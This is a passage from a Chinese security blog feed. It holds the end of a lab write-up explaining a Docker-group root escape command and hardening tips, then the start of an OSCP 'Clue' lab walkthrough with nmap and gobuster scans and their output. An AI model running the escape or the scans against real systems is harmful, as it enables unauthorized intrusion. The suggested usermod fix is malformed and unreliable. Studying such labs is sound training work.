 B[靶机 &lt;br&gt; 192.168.147.60]
 C[SSH 密码爆破]
 D[rbash 逃逸]
 E[Docker 逃逸]

 
 %% 路径关系
 A--&gt;|扫描|B
 B--&gt;C
 C--&gt;D
 D--&gt;E


	%% 线型：---（实线）、-.-&gt;（虚线）、==&gt;（粗箭头）
	%% --&gt;|是|：带条件文本的连接
	%% 矩形节点[ ]，菱形决策节点{ }，圆弧方节点()
 %% 样式定义
 classDef attack fill:#ffcccc,stroke:#ff0000,stroke-width:2px;
 classDef public fill:#ffeecc,stroke:#ff9900,stroke-width:2px; 
 classDef internal fill:#ccffcc,stroke:#009900,stroke-width:2px; 
 %% 线型与颜色方案（亮色/暗色通用）
	linkStyle default stroke:#666666,stroke-width:2px,stroke-dasharray:0; 

 %% 应用样式
 class A attack;
 class B public;
 class C,D,E internal;&lt;/pre&gt;&lt;h3 id="入侵时间表"&gt;入侵时间表
&lt;/h3&gt;&lt;pre class="mermaid" style="visibility:hidden"&gt;gantt
 title 攻击时间表
 dateFormat YYYY-MM-DD HH:mm
 axisFormat %H:%M
 
 section 侦察阶段
 目标扫描 :a1, 2025-10-15 15:13, 2025-10-15 15:40
 漏洞识别 :a2, after a1, 15m
 
 section 攻击阶段
 初始访问 :b1, after a2, 2025-10-15 16:40
 权限提升 :crit,b2, after b1, 5m
 
 section 后渗透阶段
 数据窃取 :c1, after b2, 5m&lt;/pre&gt;&lt;h2 id="补充知识点-docker提权"&gt;补充知识点-Docker提权
&lt;/h2&gt;&lt;p&gt;这个命令让你获得 root 权限的原因在于 Docker 的特权操作和文件系统挂载的结合使用。以下是详细解释：&lt;/p&gt;
&lt;h3 id="-命令分解"&gt;🔧 命令分解：
&lt;/h3&gt;&lt;pre tabindex="0"&gt;&lt;code&gt;docker run -v /:/mnt --rm -it redmine chroot /mnt bash
&lt;/code&gt;&lt;/pre&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;docker run&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;启动一个新容器&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;-v /:/mnt&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​关键操作​&lt;/strong&gt;​：将宿主机的整个根文件系统 (&lt;code&gt;/&lt;/code&gt;) 挂载到容器的 &lt;code&gt;/mnt&lt;/code&gt;目录&lt;/li&gt;
&lt;li&gt;这意味着容器可以直接访问宿主机的所有文件&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;--rm&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;容器退出后自动删除&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;-it&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;分配交互式终端&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;redmine&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;使用的镜像（这里可以是任意镜像）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​&lt;code&gt;chroot /mnt bash&lt;/code&gt;​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;​&lt;strong&gt;​核心逃逸​&lt;/strong&gt;​：在容器内执行 &lt;code&gt;chroot&lt;/code&gt;命令&lt;/li&gt;
&lt;li&gt;将根目录切换到宿主机的文件系统 (&lt;code&gt;/mnt&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;然后启动 &lt;code&gt;bash&lt;/code&gt;shell&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-为什么能获得-root-权限"&gt;🚀 为什么能获得 root 权限：
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​Docker 组的特权​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;你的用户属于 &lt;code&gt;docker&lt;/code&gt;组（&lt;code&gt;groups=...999(docker)&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;Docker 组成员可以运行容器，​&lt;strong&gt;​默认以 root 身份执行容器内命令​&lt;/strong&gt;​&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​文件系统挂载​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-v /:/mnt&lt;/code&gt;使容器能访问宿主机的完整文件系统&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​chroot 切换​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;chroot /mnt&lt;/code&gt;将工作环境切换到宿主机的文件系统&lt;/li&gt;
&lt;li&gt;此时你在容器内执行的命令，实际是在操作宿主机&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​权限继承​&lt;/strong&gt;​
&lt;ul&gt;
&lt;li&gt;容器内的 root 用户映射到宿主机的 root 用户&lt;/li&gt;
&lt;li&gt;当你在 chroot 环境中执行命令时，拥有宿主机的 root 权限&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-安全风险"&gt;⚠️ 安全风险：
&lt;/h3&gt;&lt;p&gt;这种操作极其危险，因为：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;完全绕过系统权限控制&lt;/li&gt;
&lt;li&gt;可以任意修改系统文件&lt;/li&gt;
&lt;li&gt;能访问所有用户数据&lt;/li&gt;
&lt;li&gt;相当于直接获得宿主机 root 权限&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="-系统管理员应该"&gt;🔒 系统管理员应该：
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;​&lt;strong&gt;​限制 docker 组权限​&lt;/strong&gt;​：
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo usermod -G eleanor -a # 从docker组移除用户
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​启用用户命名空间隔离​&lt;/strong&gt;​：
&lt;pre tabindex="0"&gt;&lt;code&gt;# /etc/docker/daemon.json
{
 &amp;#34;userns-remap&amp;#34;: &amp;#34;default&amp;#34;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;​&lt;strong&gt;​限制危险挂载​&lt;/strong&gt;​：
&lt;pre tabindex="0"&gt;&lt;code&gt;docker run --cap-drop=ALL --security-opt no-new-privileges ...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>OSCP官方靶场 Clue WP</title><link>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-clue-wp/</link><pubDate>Fri, 22 Aug 2025 15:37:55 +0000</pubDate><guid>https://ruajingjing.top/post/oscp%E5%AE%98%E6%96%B9%E9%9D%B6%E5%9C%BA-clue-wp/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP官方靶场 Clue WP" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注&lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。后台回复“OSCP配套工具”获取本文的工具&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;官网打开靶场&lt;/p&gt;
&lt;h2 id="信息收集"&gt;信息收集
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali攻击机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;192.168.45.187
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 靶机地址&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;192.168.133.240
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="扫描端口和目录"&gt;扫描端口和目录
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 设置MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;ip link show tun0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描端口&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.133.240 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描服务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.133.240
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.133.240
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描框架&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;whatweb http://192.168.133.240:3000/
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 扫描目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -e -u http://192.168.133.240:3000 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -e -t &lt;span class="m"&gt;25&lt;/span&gt; --exclude-length &lt;span class="m"&gt;3837&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;直接扫目录会因为长度报错，修改了一下命令
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2025/20250822162100158.png"&gt;&lt;/p&gt;
&lt;p&gt;扫描结果如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;22,80,139,445,3000
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.133.240
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.95 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2025-08-22 03:47 EDT
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.133.240
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.20s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 &lt;span class="o"&gt;(&lt;/span&gt;protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;2048&lt;/span&gt; 74:ba:20:23:89:92:62:02:9f:e7:3d:3b:83:d4:d9:6c &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 54:8f:79:55:5a:b0:3a:69:5a:d5:72:39:64:fd:07:4e &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; 7f:5d:10:27:62:ba:75:e9:bc:c8:4f:e2:72:87:d4:e2 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http Apache httpd 2.4.38
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: &lt;span class="m"&gt;403&lt;/span&gt; Forbidden
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: Apache/2.4.38 &lt;span class="o"&gt;(&lt;/span&gt;Debian&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn Samba smbd 3.X - 4.X &lt;span class="o"&gt;(&lt;/span&gt;workgroup: WORKGROUP&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt;445/tcp open netbios-ssn Samba smbd 4.9.5-Debian &lt;span class="o"&gt;(&lt;/span&gt;workgroup: WORKGROUP&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt;3000/tcp open http Thin httpd
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: Cassandra Web
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-server-header: thin
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-trane-info: Problem with XML parsing of /evox/about
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span class="m"&gt;1&lt;/span&gt; open and &lt;span class="m"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;Device type: general purpose&lt;span class="p"&gt;|&lt;/span&gt;router
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;Running &lt;span class="o"&gt;(&lt;/span&gt;JUST GUESSING&lt;span class="o"&gt;)&lt;/span&gt;: Linux 4.X&lt;span class="p"&gt;|&lt;/span&gt;5.X&lt;span class="p"&gt;|&lt;/span&gt;2.6.X&lt;span class="p"&gt;|&lt;/span&gt;3.X &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, MikroTik RouterOS 7.X &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:6.0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;Aggressive OS guesses: Linux 4.15 - 5.19 &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 5.0 - 5.14 &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, MikroTik RouterOS 7.2 - 7.5 &lt;span class="o"&gt;(&lt;/span&gt;Linux 5.6.3&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 2.6.32 - 3.13 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.10 - 4.11 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.2 - 4.14 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.4 - 3.10 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.15 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 2.6.32 - 3.10 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.19 - 5.15 &lt;span class="o"&gt;(&lt;/span&gt;91%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt;No exact OS matches &lt;span class="k"&gt;for&lt;/span&gt; host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt; conditions non-ideal&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt;Service Info: Hosts: 127.0.0.1, CLUE&lt;span class="p"&gt;;&lt;/span&gt; OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; account_used: guest
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; authentication_level: user
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; challenge_response: supported
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ message_signing: disabled &lt;span class="o"&gt;(&lt;/span&gt;dangerous, but default&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-os-discovery:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; OS: Windows 6.1 &lt;span class="o"&gt;(&lt;/span&gt;Samba 4.9.5-Debian&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Computer name: clue
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; NetBIOS computer name: CLUE&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Domain name: pg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; FQDN: clue.pg
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;46&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ System time: 2025-08-22T03:47:55-04:00
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;47&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;48&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; 3:1:1:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;49&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;50&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb2-time:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;51&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; date: 2025-08-22T07:47:54
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;52&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ start_date: N/A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_clock-skew: mean: 1h20m03s, deviation: 2h18m40s, median: 0s
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;54&lt;/span&gt;&lt;span class="cl"&gt;
